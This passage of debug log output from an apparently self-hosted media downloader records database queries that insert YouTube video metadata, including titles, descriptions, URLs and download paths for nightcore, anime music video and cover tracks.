"media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "1a6e3f88-ea93-4b24-b7c5-dec34997706b", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:23:24Z], ~U[2026-07-24 02:23:24Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:23:24.506 [debug] QUERY OK source="sources" db=0.2ms idle=151.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:24.506 [debug] QUERY OK source="media_items" db=0.3ms idle=147.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:23:24.690 [debug] QUERY OK source="media_items" db=183.2ms idle=147.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "4dc7628b-91c5-4127-8949-5eafcc49090c", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:23:24Z], ~U[2026-07-24 02:23:24Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:23:24.690 [debug] QUERY OK source="sources" db=0.2ms idle=331.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:24.691 [debug] QUERY OK source="media_items" db=0.1ms idle=185.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:23:24.835 [debug] QUERY OK source="media_items" db=144.0ms idle=185.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "c0dabad7-0e55-4e4c-8cab-9995310b0d48", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:23:24Z], ~U[2026-07-24 02:23:24Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:23:24.836 [debug] QUERY OK source="sources" db=0.2ms idle=329.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:24.836 [debug] QUERY OK source="media_items" db=0.1ms idle=146.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:23:25.004 [debug] QUERY OK source="media_items" db=168.0ms idle=145.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "c981473a-06ac-4ee9-87c0-1c23031ed1bf", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:23:24Z], ~U[2026-07-24 02:23:24Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:23:25.005 [debug] QUERY OK source="sources" db=0.1ms idle=313.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.005 [debug] QUERY OK source="media_items" db=0.1ms idle=169.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:23:25.163 [debug] QUERY OK source="media_items" db=157.1ms idle=169.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "7fd85f4c-4ce6-437d-8b51-b4b81ca0c1eb", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:23:25.163 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=326.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.163 [debug] QUERY OK source="media_items" db=0.1ms idle=159.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-11-27 04:39:19Z], 1] 22:23:25.348 [debug] QUERY OK source="media_items" db=183.9ms idle=159.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "85f829a5-7276-4e6d-acfe-38b042c61ef0", false, "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", 7, "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, false, 1, [], 1, ~U[2021-11-27 04:39:19Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, 1, ~U[2021-11-27 04:39:19Z]] 22:23:25.348 [debug] QUERY OK source="sources" db=0.2ms idle=343.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.349 [debug] QUERY OK source="media_items" db=0.1ms idle=186.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-12 06:37:58Z], 1] 22:23:25.386 [info] GET /media_profiles 22:23:25.386 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:23:25.467 [debug] QUERY OK source="media_items" db=118.0ms idle=185.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "8dd89d8d-e101-4a4a-bed4-8330f8b373e3", false, "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", 8, "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, false, 1, [], 1, ~U[2021-09-12 06:37:58Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, 1, ~U[2021-09-12 06:37:58Z]] 22:23:25.467 [debug] QUERY OK source="sources" db=0.1ms idle=119.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.468 [debug] QUERY OK source="media_items" db=0.1ms idle=119.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 15:39:14Z], 1] 22:23:25.606 [debug] QUERY OK source="media_items" db=137.3ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "f2c691d3-8af7-4b7a-894e-fbfe96b93a1a", false, "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", 9, "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, false, 1, [], 1, ~U[2026-05-17 15:39:14Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover 